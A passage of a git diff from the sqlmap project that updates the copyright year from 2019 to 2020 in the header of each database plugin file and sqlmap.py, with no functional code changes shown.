(c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index 5b44899c6c8..05584dba150 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py index 76c3c44e7bb..e8c64249216 100644 --- a/plugins/dbms/informix/filesystem.py +++ b/plugins/dbms/informix/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index a3adbaf8b6b..bd1ea19d42c 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py index b6a39f60594..fc4f985225c 100644 --- a/plugins/dbms/informix/syntax.py +++ b/plugins/dbms/informix/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py index ca204b03495..432fa6f78e7 100644 --- a/plugins/dbms/informix/takeover.py +++ b/plugins/dbms/informix/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 6bd69402594..1cc74e59957 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index 8b06d639efe..94a40ae7896 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index bece7afebaf..36d626033d1 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index 00c09480d03..76e42d4ee63 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 575091a775d..75816c368ff 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index 1f273096699..dc6c661746e 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index 796443b21bf..20079a4aaf9 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index 40696af8ccc..ef7ca75fa5b 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index 668efdd4761..119ccb63da7 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 46437fbed3e..91956307e2f 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 5fe0301d91b..ed394ecde21 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index e4820fc32d0..4e4f7db0e34 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index 4100babe346..8cf6c2910c4 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index 0e35ae7aa59..c47253a0e79 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index 3c171b69209..a53a4212feb 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 6e1fc60de40..a2abdd3d3fb 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index ccb7e534e5a..ebaf32f3306 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 4ce41cf33bb..f92485a2c67 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 6b2f66e1647..228ba311af3 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index 542e094ef60..8d135c93ed6 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index a66d1231322..73308010b42 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index e2d352542e6..1188be56118 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 2d2fcc69d26..26085c751b1 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index c79a89758dc..ba3d1b1abda 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index 4684531a35f..c5a42c9fbb4 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 4a31b06257f..9dc7cb65492 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 60865c00c03..afa75fc7e64 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index dbffdb4fa58..2c638e73562 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index 7d46c6f1fed..c40c282217b 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index 1b81bc1f5ae..acd70b6b596 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index b1097bcf0d0..4dcbdecc2b4 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index d21ebf1ec12..a12a8c5812f 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index f21c6b5ec2c..853d508819a 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index 179c828dec0..ec7fe6cca12 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 0350a36d97e..e4454d17df2 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index 004a7165d03..226e8feda5b 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index f099b766ddd..f1270eb6891 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index 0ee81462930..1c985b81f33 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index 89426f8fc90..d6b5e382039 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 40ec7291155..4093a3d698c 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index b4b20e76724..f9d5af85fb1 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index 0f1f5dab13b..e5410583cb1 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index 9eedd7e0147..0b31f519bdd 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 80298459a3f..d735388093f 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 9e4f9e63e91..d45410f5d4c 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index a2f8757a473..305b9bd8f82 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index a97a27b01b5..9381dd270b0 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index f8299027d59..7a9e7019958 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 98681a78b1d..55f6e1c5867 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 656485e1a61..6f001e5bf69 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 41860b56920..a1faa80ee35 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 0f04f401550..5a86d712397 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index e5492767563..83e4fea0939 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index c8b40728e41..d5b35b7e0e1 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 946c3ae95c3..2a04bb9f0cc 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 26ff4e39bac..76c7199f143 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 3f17933174d..528dad0b15b 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 30f1feaac1e..c2a680afad3 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index bb0bee7376d..f6476382ad1 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 7d1de8f3740..33e45886f3e 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 5985d3b3b1a..1636522eb3a 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/sqlmap.py b/sqlmap.py index b353ae3248a..811fc4ca747 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers 